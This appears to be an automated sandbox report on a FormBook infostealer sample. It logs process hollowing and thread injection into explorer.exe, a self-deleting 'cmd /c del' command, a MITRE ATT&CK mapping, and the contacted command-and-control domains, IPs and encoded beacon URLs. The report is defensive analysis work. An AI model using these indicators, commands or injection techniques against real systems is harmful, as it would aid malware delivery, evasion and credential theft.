          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03692990 mov eax, dword ptr fs:[00000030h]13_2_03692990
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03722073 mov eax, dword ptr fs:[00000030h]13_2_03722073
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0368746D mov eax, dword ptr fs:[00000030h]13_2_0368746D
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03731074 mov eax, dword ptr fs:[00000030h]13_2_03731074
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0369A44B mov eax, dword ptr fs:[00000030h]13_2_0369A44B
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03680050 mov eax, dword ptr fs:[00000030h]13_2_03680050
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03680050 mov eax, dword ptr fs:[00000030h]13_2_03680050
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036FC450 mov eax, dword ptr fs:[00000030h]13_2_036FC450
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036FC450 mov eax, dword ptr fs:[00000030h]13_2_036FC450
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0369002D mov eax, dword ptr fs:[00000030h]13_2_0369002D
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0369002D mov eax, dword ptr fs:[00000030h]13_2_0369002D
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0369002D mov eax, dword ptr fs:[00000030h]13_2_0369002D
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0369002D mov eax, dword ptr fs:[00000030h]13_2_0369002D
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0369002D mov eax, dword ptr fs:[00000030h]13_2_0369002D
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0369BC2C mov eax, dword ptr fs:[00000030h]13_2_0369BC2C
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0367B02A mov eax, dword ptr fs:[00000030h]13_2_0367B02A
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0367B02A mov eax, dword ptr fs:[00000030h]13_2_0367B02A
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0367B02A mov eax, dword ptr fs:[00000030h]13_2_0367B02A
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0367B02A mov eax, dword ptr fs:[00000030h]13_2_0367B02A
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036E6C0A mov eax, dword ptr fs:[00000030h]13_2_036E6C0A
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036E6C0A mov eax, dword ptr fs:[00000030h]13_2_036E6C0A
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036E6C0A mov eax, dword ptr fs:[00000030h]13_2_036E6C0A
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036E6C0A mov eax, dword ptr fs:[00000030h]13_2_036E6C0A
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03734015 mov eax, dword ptr fs:[00000030h]13_2_03734015
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03734015 mov eax, dword ptr fs:[00000030h]13_2_03734015
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03721C06 mov eax, dword ptr fs:[00000030h]13_2_03721C06
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03721C06 mov eax, dword ptr fs:[00000030h]13_2_03721C06
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03721C06 mov eax, dword ptr fs:[00000030h]13_2_03721C06
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03721C06 mov eax, dword ptr fs:[00000030h]13_2_03721C06
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03721C06 mov eax, dword ptr fs:[00000030h]13_2_03721C06
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03721C06 mov eax, dword ptr fs:[00000030h]13_2_03721C06
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03721C06 mov eax, dword ptr fs:[00000030h]13_2_03721C06
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03721C06 mov eax, dword ptr fs:[00000030h]13_2_03721C06
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03721C06 mov eax, dword ptr fs:[00000030h]13_2_03721C06
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03721C06 mov eax, dword ptr fs:[00000030h]13_2_03721C06
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03721C06 mov eax, dword ptr fs:[00000030h]13_2_03721C06
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03721C06 mov eax, dword ptr fs:[00000030h]13_2_03721C06
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03721C06 mov eax, dword ptr fs:[00000030h]13_2_03721C06
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03721C06 mov eax, dword ptr fs:[00000030h]13_2_03721C06
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036E7016 mov eax, dword ptr fs:[00000030h]13_2_036E7016
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036E7016 mov eax, dword ptr fs:[00000030h]13_2_036E7016
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036E7016 mov eax, dword ptr fs:[00000030h]13_2_036E7016
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0373740D mov eax, dword ptr fs:[00000030h]13_2_0373740D
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0373740D mov eax, dword ptr fs:[00000030h]13_2_0373740D
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0373740D mov eax, dword ptr fs:[00000030h]13_2_0373740D
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_037214FB mov eax, dword ptr fs:[00000030h]13_2_037214FB
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036658EC mov eax, dword ptr fs:[00000030h]13_2_036658EC
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036E6CF0 mov eax, dword ptr fs:[00000030h]13_2_036E6CF0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036E6CF0 mov eax, dword ptr fs:[00000030h]13_2_036E6CF0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036E6CF0 mov eax, dword ptr fs:[00000030h]13_2_036E6CF0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03738CD6 mov eax, dword ptr fs:[00000030h]13_2_03738CD6
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036FB8D0 mov eax, dword ptr fs:[00000030h]13_2_036FB8D0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036FB8D0 mov ecx, dword ptr fs:[00000030h]13_2_036FB8D0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036FB8D0 mov eax, dword ptr fs:[00000030h]13_2_036FB8D0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036FB8D0 mov eax, dword ptr fs:[00000030h]13_2_036FB8D0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036FB8D0 mov eax, dword ptr fs:[00000030h]13_2_036FB8D0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036FB8D0 mov eax, dword ptr fs:[00000030h]13_2_036FB8D0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036A90AF mov eax, dword ptr fs:[00000030h]13_2_036A90AF
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036920A0 mov eax, dword ptr fs:[00000030h]13_2_036920A0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036920A0 mov eax, dword ptr fs:[00000030h]13_2_036920A0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036920A0 mov eax, dword ptr fs:[00000030h]13_2_036920A0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036920A0 mov eax, dword ptr fs:[00000030h]13_2_036920A0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036920A0 mov eax, dword ptr fs:[00000030h]13_2_036920A0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036920A0 mov eax, dword ptr fs:[00000030h]13_2_036920A0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0369F0BF mov ecx, dword ptr fs:[00000030h]13_2_0369F0BF
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0369F0BF mov eax, dword ptr fs:[00000030h]13_2_0369F0BF
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0369F0BF mov eax, dword ptr fs:[00000030h]13_2_0369F0BF
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03669080 mov eax, dword ptr fs:[00000030h]13_2_03669080
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036E3884 mov eax, dword ptr fs:[00000030h]13_2_036E3884
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036E3884 mov eax, dword ptr fs:[00000030h]13_2_036E3884
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0367849B mov eax, dword ptr fs:[00000030h]13_2_0367849B
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeProcess queried: DebugPortJump to behavior
          Source: C:\Windows\SysWOW64\WWAHost.exeProcess queried: DebugPortJump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 2_2_00409B20 LdrLoadDll,2_2_00409B20
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeMemory allocated: page read and write | page guardJump to behavior

          HIPS / PFW / Operating System Protection Evasion:

          barindex
          System process connects to network (likely due to code injection or exploit)Show sources
          Source: C:\Windows\explorer.exeDomain query: www.valorplanodesaudemaranhao.info
          Source: C:\Windows\explorer.exeNetwork Connect: 172.67.196.84 80Jump to behavior
          Source: C:\Windows\explorer.exeDomain query: www.everybankatm.com
          Source: C:\Windows\explorer.exeDomain query: www.nordiqueluxury.com
          Source: C:\Windows\explorer.exeDomain query: www.quickskiplondon.com
          Source: C:\Windows\explorer.exeNetwork Connect: 34.98.99.30 80Jump to behavior
          Source: C:\Windows\explorer.exeDomain query: www.singularity.institute
          Source: C:\Windows\explorer.exeDomain query: www.parakhonskiy.com
          Source: C:\Windows\explorer.exeDomain query: www.lifewithbriana.com
          Source: C:\Windows\explorer.exeNetwork Connect: 35.237.65.63 80Jump to behavior
          Source: C:\Windows\explorer.exeNetwork Connect: 84.34.147.60 80Jump to behavior
          Source: C:\Windows\explorer.exeDomain query: www.municipiodeanton.net
          Sample uses process hollowing techniqueShow sources
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeSection unmapped: C:\Windows\SysWOW64\WWAHost.exe base address: B40000Jump to behavior
          Maps a DLL or memory area into another processShow sources
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeSection loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and writeJump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeSection loaded: unknown target: C:\Windows\SysWOW64\WWAHost.exe protection: execute and read and writeJump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeSection loaded: unknown target: C:\Windows\SysWOW64\WWAHost.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\SysWOW64\WWAHost.exeSection loaded: unknown target: C:\Windows\explorer.exe protection: read writeJump to behavior
          Source: C:\Windows\SysWOW64\WWAHost.exeSection loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and writeJump to behavior
          Injects a PE file into a foreign processesShow sources
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeMemory written: C:\Users\user\Desktop\scan files 15-9-21.exe base: 400000 value starts with: 4D5AJump to behavior
          Queues an APC in another process (thread injection)Show sources
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeThread APC queued: target process: C:\Windows\explorer.exeJump to behavior
          Modifies the context of a thread in another process (thread injection)Show sources
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeThread register set: target process: 3292Jump to behavior
          Source: C:\Windows\SysWOW64\WWAHost.exeThread register set: target process: 3292Jump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeProcess created: C:\Users\user\Desktop\scan files 15-9-21.exe C:\Users\user\Desktop\scan files 15-9-21.exeJump to behavior
          Source: C:\Windows\SysWOW64\WWAHost.exeProcess created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\scan files 15-9-21.exe'Jump to behavior
          Source: explorer.exe, 00000003.00000000.280386762.0000000001400000.00000002.00020000.sdmp, WWAHost.exe, 0000000D.00000002.527970458.0000000005E90000.00000002.00020000.sdmpBinary or memory string: uProgram Manager
          Source: explorer.exe, 00000003.00000000.270333689.0000000005F40000.00000004.00000001.sdmp, WWAHost.exe, 0000000D.00000002.527970458.0000000005E90000.00000002.00020000.sdmpBinary or memory string: Shell_TrayWnd
          Source: explorer.exe, 00000003.00000000.280386762.0000000001400000.00000002.00020000.sdmp, WWAHost.exe, 0000000D.00000002.527970458.0000000005E90000.00000002.00020000.sdmpBinary or memory string: Progman
          Source: explorer.exe, 00000003.00000000.358263429.0000000000EB8000.00000004.00000020.sdmpBinary or memory string: ProgmanX
          Source: explorer.exe, 00000003.00000000.280386762.0000000001400000.00000002.00020000.sdmp, WWAHost.exe, 0000000D.00000002.527970458.0000000005E90000.00000002.00020000.sdmpBinary or memory string: Progmanlock
          Source: explorer.exe, 00000003.00000000.274140745.0000000008ACF000.00000004.00000001.sdmpBinary or memory string: Shell_TrayWndAj
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeQueries volume information: C:\Users\user\Desktop\scan files 15-9-21.exe VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

          Stealing of Sensitive Information:

          barindex
          Yara detected FormBookShow sources
          Source: Yara matchFile source: 2.2.scan files 15-9-21.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 2.2.scan files 15-9-21.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000002.00000002.342717924.00000000015D0000.00000040.00020000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000002.00000002.340222255.0000000000400000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000003.00000000.296739231.000000000E0BC000.00000040.00020000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000003.00000000.316398859.000000000E0BC000.00000040.00020000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000D.00000002.520331838.0000000000870000.00000040.00020000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000002.00000002.342785187.0000000001600000.00000040.00020000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000D.00000002.520884940.0000000000A80000.00000040.00020000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000D.00000002.521187644.0000000000B00000.00000004.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000000.00000002.262326263.0000000003979000.00000004.00000001.sdmp, type: MEMORY

          Remote Access Functionality:

          barindex
          Yara detected FormBookShow sources
          Source: Yara matchFile source: 2.2.scan files 15-9-21.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 2.2.scan files 15-9-21.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000002.00000002.342717924.00000000015D0000.00000040.00020000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000002.00000002.340222255.0000000000400000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000003.00000000.296739231.000000000E0BC000.00000040.00020000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000003.00000000.316398859.000000000E0BC000.00000040.00020000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000D.00000002.520331838.0000000000870000.00000040.00020000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000002.00000002.342785187.0000000001600000.00000040.00020000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000D.00000002.520884940.0000000000A80000.00000040.00020000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000D.00000002.521187644.0000000000B00000.00000004.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000000.00000002.262326263.0000000003979000.00000004.00000001.sdmp, type: MEMORY

          Mitre Att&ck Matrix

          Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
          Valid AccountsShared Modules1Path InterceptionProcess Injection612Masquerading1OS Credential DumpingSecurity Software Discovery221Remote ServicesArchive Collected Data11Exfiltration Over Other Network MediumEncrypted Channel1Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
          Default AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsDisable or Modify Tools1LSASS MemoryProcess Discovery2Remote Desktop ProtocolData from Removable MediaExfiltration Over BluetoothIngress Tool Transfer1Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
          Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Virtualization/Sandbox Evasion31Security Account ManagerVirtualization/Sandbox Evasion31SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationNon-Application Layer Protocol2Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
          Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Process Injection612NTDSRemote System Discovery1Distributed Component Object ModelInput CaptureScheduled TransferApplication Layer Protocol12SIM Card SwapCarrier Billing Fraud
          Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptDeobfuscate/Decode Files or Information11LSA SecretsSystem Information Discovery112SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
          Replication Through Removable MediaLaunchdRc.commonRc.commonObfuscated Files or Information4Cached Domain CredentialsSystem Owner/User DiscoveryVNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
          External Remote ServicesScheduled TaskStartup ItemsStartup ItemsSoftware Packing13DCSyncNetwork SniffingWindows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
          Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/JobTimestomp1Proc FilesystemNetwork Service ScanningShared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue
          Exploit Public-Facing ApplicationPowerShellAt (Linux)At (Linux)File Deletion1/etc/passwd and /etc/shadowSystem Network Connections DiscoverySoftware Deployment ToolsData StagedExfiltration Over Asymmetric Encrypted Non-C2 ProtocolWeb ProtocolsRogue Cellular Base StationData Destruction

          Behavior Graph

          Hide Legend

          Legend:

          • Process
          • Signature
          • Created File
          • DNS/IP Info
          • Is Dropped
          • Is Windows Process
          • Number of created Registry Values
          • Number of created Files
          • Visual Basic
          • Delphi
          • Java
          • .Net C# or VB.NET
          • C, C++ or other language
          • Is malicious
          • Internet
          behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 483582 Sample: scan files 15-9-21.exe Startdate: 15/09/2021 Architecture: WINDOWS Score: 100 31 www.getcenteredwithclay.com 2->31 33 www.actonetheatre.com 2->33 41 Snort IDS alert for network traffic (e.g. based on Emerging Threat rules) 2->41 43 Found malware configuration 2->43 45 Malicious sample detected (through community Yara rule) 2->45 47 9 other signatures 2->47 11 scan files 15-9-21.exe 3 2->11         started        signatures3 process4 file5 29 C:\Users\user\...\scan files 15-9-21.exe.log, ASCII 11->29 dropped 59 Injects a PE file into a foreign processes 11->59 15 scan files 15-9-21.exe 11->15         started        signatures6 process7 signatures8 61 Modifies the context of a thread in another process (thread injection) 15->61 63 Maps a DLL or memory area into another process 15->63 65 Sample uses process hollowing technique 15->65 67 Queues an APC in another process (thread injection) 15->67 18 explorer.exe 15->18 injected process9 dnsIp10 35 www.nordiqueluxury.com 84.34.147.60, 49776, 80 TSF-IP-CORETeliaFinlandOyjEU Finland 18->35 37 www.singularity.institute 172.67.196.84, 49784, 80 CLOUDFLARENETUS United States 18->37 39 8 other IPs or domains 18->39 49 System process connects to network (likely due to code injection or exploit) 18->49 22 WWAHost.exe 18->22         started        signatures11 process12 signatures13 51 Self deletion via cmd delete 22->51 53 Modifies the context of a thread in another process (thread injection) 22->53 55 Maps a DLL or memory area into another process 22->55 57 Tries to detect virtualization through RDTSC time measurements 22->57 25 cmd.exe 1 22->25         started        process14 process15 27 conhost.exe 25->27         started       

          Screenshots

          Thumbnails

          This section contains all screenshots as thumbnails, including those not shown in the slideshow.

          windows-stand

          Antivirus, Machine Learning and Genetic Malware Detection

          Initial Sample

          SourceDetectionScannerLabelLink
          scan files 15-9-21.exe29%VirustotalBrowse
          scan files 15-9-21.exe27%ReversingLabsByteCode-MSIL.Spyware.Noon
          scan files 15-9-21.exe100%Joe Sandbox ML

          Dropped Files

          No Antivirus matches

          Unpacked PE Files

          SourceDetectionScannerLabelLinkDownload
          2.2.scan files 15-9-21.exe.400000.0.unpack100%AviraTR/Crypt.ZPACK.GenDownload File

          Domains

          No Antivirus matches

          URLs

          SourceDetectionScannerLabelLink
          http://www.municipiodeanton.net/mej0/?ZTSpa=KB5aME/wLlFyZRHVaeByRa16oaYSLG5vTwTmPkRiuCF7mWnEGcyzal0mWpntA1EdT4HAAexMQQ==&vP=JtCxKN0%Avira URL Cloudsafe
          http://www.quickskiplondon.com/mej0/?ZTSpa=a/1Q0lHImOSlB3OMiE52M5irpU60+rDCM9jGEsCAFmqZfqxrPXb+yY2uJ0P5II+wgFq1rM2W6g==&vP=JtCxKN0%Avira URL Cloudsafe
          http://www.nordiqueluxury.com/mej0/?ZTSpa=l0iLI2tDMbyWX17YzQI3VU6Ovc+Srds2u4QKsmMGezHC91xioYtP6wjZJcIMhpUbXqNeFFgVfw==&vP=JtCxKN0%Avira URL Cloudsafe
          http://www.singularity.institute/mej0/?ZTSpa=RzUuUNIP5w6/jz6u/3nPHL71H0tFSqxvyYqd1E+XwjP7nDbVm/SW3vaLh5vwv8/S3nR/rxiqcA==&vP=JtCxKN0%Avira URL Cloudsafe
          www.lifewithbriana.com/mej0/0%Avira URL Cloudsafe
          http://www.valorplanodesaudemaranhao.info/mej0/?ZTSpa=JBp6XH2M4Q0SiKTdqMGnH1VhHOjyZ1YS2BfWCv8a5VwMthBJctfaCfrdZAs0prUxB4i8ziLjxQ==&vP=JtCxKN0%Avira URL Cloudsafe

          Domains and IPs

          Contacted Domains

          NameIPActiveMaliciousAntivirus DetectionReputation
          www.getcenteredwithclay.com
          99.83.154.118
          truetrue
            unknown
            www.nordiqueluxury.com
            84.34.147.60
            truetrue
              unknown
              quickskiplondon.com
              34.98.99.30
              truefalse
                unknown
                valorplanodesaudemaranhao.info
                34.98.99.30
                truefalse
                  unknown
                  www.singularity.institute
                  172.67.196.84
                  truetrue
                    unknown
                    www.municipiodeanton.net
                    35.237.65.63
                    truefalse
                      unknown
                      www.valorplanodesaudemaranhao.info
                      unknown
                      unknowntrue
                        unknown
                        www.everybankatm.com
                        unknown
                        unknowntrue
                          unknown
                          www.parakhonskiy.com
                          unknown
                          unknowntrue
                            unknown
                            www.lifewithbriana.com
                            unknown
                            unknowntrue
                              unknown
                              www.actonetheatre.com
                              unknown
                              unknowntrue
                                unknown
                                www.quickskiplondon.com
                                unknown
                                unknowntrue
                                  unknown

                                  Contacted URLs

                                  NameMaliciousAntivirus DetectionReputation
                                  http://www.municipiodeanton.net/mej0/?ZTSpa=KB5aME/wLlFyZRHVaeByRa16oaYSLG5vTwTmPkRiuCF7mWnEGcyzal0mWpntA1EdT4HAAexMQQ==&vP=JtCxKNfalse
                                  • Avira URL Cloud: safe
                                  unknown
                                  http://www.quickskiplondon.com/mej0/?ZTSpa=a/1Q0lHImOSlB3OMiE52M5irpU60+rDCM9jGEsCAFmqZfqxrPXb+yY2uJ0P5II+wgFq1rM2W6g==&vP=JtCxKNfalse
                                  • Avira URL Cloud: safe
                                  unknown
                                  http://www.nordiqueluxury.com/mej0/?ZTSpa=l0iLI2tDMbyWX17YzQI3VU6Ovc+Srds2u4QKsmMGezHC91xioYtP6wjZJcIMhpUbXqNeFFgVfw==&vP=JtCxKNtrue
                                  • Avira URL Cloud: safe
                                  unknown
                                  http://www.singularity.institute/mej0/?ZTSpa=RzUuUNIP5w6/jz6u/3nPHL71H0tFSqxvyYqd1E+XwjP7nDbVm/SW3vaLh5vwv8/S3nR/rxiqcA==&vP=JtCxKNtrue
                                  • Avira URL Cloud: safe
                                  unknown
                                  www.lifewithbriana.com/mej0/true
                                  • Avira URL Cloud: safe
                                  low
                                  http://www.valorplanodesaudemaranhao.info/mej0/?ZTSpa=JBp6XH2M4Q0SiKTdqMGnH1VhHOjyZ1YS2BfWCv8a5VwMthBJctfaCfrdZAs0prUxB4i8ziLjxQ==&vP=JtCxKNfalse
                                  • Avira URL Cloud: safe
                                  unknown

                                  URLs from Memory and Binaries

                                  NameSourceMaliciousAntivirus DetectionReputation
                                  http://www.autoitscript.com/autoit3/Jexplorer.exe, 00000003.00000000.270733342.000000000686B000.00000004.00000001.sdmpfalse
                                    high

                                    Contacted IPs

                                    • No. of IPs < 25%
                                    • 25% < No. of IPs < 50%
                                    • 50% < No. of IPs < 75%
                                    • 75% < No. of IPs

                                    Public

                                    IPDomainCountryFlagASNASN NameMalicious
                                    172.67.196.84
                                    www.singularity.instituteUnited States
                                    13335CLOUDFLARENETUStrue
                                    35.237.65.63
                                    www.municipiodeanton.netUnited States
                                    15169GOOGLEUSfalse
                                    34.98.99.30
                                    quickskiplondon.comUnited States
                                    15169GOOGLEUSfalse
                                    84.34.147.60
                                    www.nordiqueluxury.comFinland
                                    1759TSF-IP-CORETeliaFinlandOyjEUtrue

                                    General Information

                                    Joe Sandbox Version:33.0.0 White Diamond
                                    Analysis ID:483582
                                    Start date:15.09.2021
                                    Start time:09:29:55
                                    Joe Sandbox Product:CloudBasic
                                    Overall analysis duration:0h 10m 20s
                                    Hypervisor based Inspection enabled:false
                                    Report type:full
                                    Sample file name:scan files 15-9-21.exe
                                    Cookbook file name:default.jbs
                                    Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                    Number of analysed new started processes analysed:25
                                    Number of new started drivers analysed:0
                                    Number of existing processes analysed:0
                                    Number of existing drivers analysed:0
                                    Number of injected processes analysed:0
                                    Technologies:
                                    • HCA enabled
                                    • EGA enabled
                                    • HDC enabled
                                    • AMSI enabled
                                    Analysis Mode:default
                                    Analysis stop reason:Timeout
                                    Detection:MAL
                                    Classification:mal100.troj.evad.winEXE@7/1@10/4
                                    EGA Information:Failed
                                    HDC Information:
                                    • Successful, ratio: 37.3% (good quality ratio 32.9%)
                                    • Quality average: 72.8%
                                    • Quality standard deviation: 32.7%
                                    HCA Information:
                                    • Successful, ratio: 100%
                                    • Number of executed functions: 78
                                    • Number of non-executed functions: 128
                                    Cookbook Comments:
                                    • Adjust boot time
                                    • Enable AMSI
                                    • Found application associated with file extension: .exe
                                    Warnings:
                                    Show All
                                    • Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe
                                    • Excluded IPs from analysis (whitelisted): 23.35.236.56, 20.82.210.154, 23.55.161.159, 23.55.161.158, 23.55.161.152, 23.55.161.153, 23.55.161.155, 23.55.161.160, 23.55.161.156, 23.55.161.151, 23.55.161.157, 20.54.110.249, 40.112.88.60, 23.216.77.209, 23.216.77.208
